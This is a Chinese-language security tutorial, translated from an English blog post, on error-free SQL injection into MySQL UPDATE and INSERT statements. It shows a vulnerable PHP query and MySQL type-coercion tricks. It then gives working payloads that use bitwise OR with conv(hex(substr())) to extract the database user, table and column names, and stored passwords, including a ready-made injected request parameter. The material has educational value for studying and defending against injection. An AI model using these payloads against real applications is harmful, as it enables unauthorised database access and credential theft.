来源于先知社区 - https://xz.aliyun.com/t/1275
场景
请求场景如下:
$query = "UPDATE users SET username ='$username' WHERE id = '$id';";
请求参数如下:
username=test&id=16
下面我们来看看mysql 的一些处理规则
mysql>select 'test' =0;
+-----------+
| 'test'=0 |
+-----------+
| 1 |
+-----------+
mysql>select !'test';
+---------+
| !'test'|
+---------+
| 1 |
+---------+
如果我们将数字和字符串进行相加
mysql>select 'test' + 123;
+--------------+
| 'test' +123 |
+--------------+
| 123 |
+--------------+
如果我们加一个长整型数字呢?
mysql>select 'test' + ~0;
+-----------------------+
| 'test' +~0 |
+-----------------------+
|1.8446744073709552e19 |
+-----------------------+
这意味着一个字符类型的返回了一个double型的结果,我们再试试
mysql>select ~0 + 0e0;
+-----------------------+
| ~0 +0e0 |
+-----------------------+
|1.8446744073709552e19 |
+-----------------------+
mysql>select (~0+0e0) = ('test' + ~0) ;
+--------------------------+
| (~0+0e0)= ('test' + ~0) |
+--------------------------+
| 1 |
+--------------------------+
我们现在知道返回的字符串值实际上是一个double类型。一个较大的值会导致返回结果为double双精度。要解决这个问题我们按位进行或运算。
mysql>select 'test' | ~0;
+----------------------+
| 'test' |~0 |
+----------------------+
|18446744073709551615 |
+----------------------+
完美,我们得到了一个最大的无符号64位的BIGINT值。现在,我们可以确定通过执行按位或来得到最终的值,这个值应该小于一个长整型数字,因为不能超过64位。
利用思路
字符串->十六进制- >小数
mysql>select conv(hex(version()), 16, 10);
+------------------------------+
|conv(hex(version()), 16, 10) |
+------------------------------+
|58472576988216 |
+------------------------------+
十进制->十六进制- >字符串
mysql>select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
|unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
|5.5.34 |
+-------------------------------------+
这里有个问题,如果值过大,就会变成0xffffffffffffffff。我们可以利用substr()函数,来截取,最后在拼接。
思路如下:
selectconv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
mysql>select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
|conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
mysql>select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
|conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
|107118236496756 |
+--------------------------------------------------------+
最终利用:
mysql>select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10, 16)));
+----------------------------------------------------------------------------------------+
|concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,10, 16))) |
+----------------------------------------------------------------------------------------+
|root@localhost |
+----------------------------------------------------------------------------------------+
获取表名:
selectconv(hex(substr((select table_name from information_schema.tables wheretable_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
获取列名:
selectconv(hex(substr((select column_name from information_schema.columns wheretable_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
update语句:
updateemails set email_id='test'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16,10) where id='16';
Insert语句:
insertinto users values (17,'james', 'bond');
利用如下
insertinto users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 *n)),16, 10);
获取数据:
updateusers set username = 'test'| conv(hex(substr((select password from (select *from users) as x limit 0,1 ) ,1 + (1-1) * 8, 8 * 1)),16, 10) where id='16';
上面的例子可以这样利用:
Payload= name=test'| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) whereid=16;&id=16
数据库执行语句:
updateusers set username = 'test' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16,10) where id=16;' where id = '16';
即
mysql>select unhex(conv(8245931987826405219, 10, 16));
+------------------------------------------+
|unhex(conv(8245931987826405219, 10, 16)) |
+------------------------------------------+
|root@loc |
+------------------------------------------+
备注:MySQL5.7以后版本利用起来可能有限制,这个取决于sql-mode的设置,但不影响int型。
本文为简单翻译,原文:https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/
免责声明:
H4K6技术社区所提供的一切软件、教程、漏洞信息、破解补丁、注册机、注册信息及软硬件解密分析文章等仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请自行承担。H4K6技术社区不承担任何因为技术滥用所产生的连带责任。H4K6技术社区所有发布的信息资源来源于互联网,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!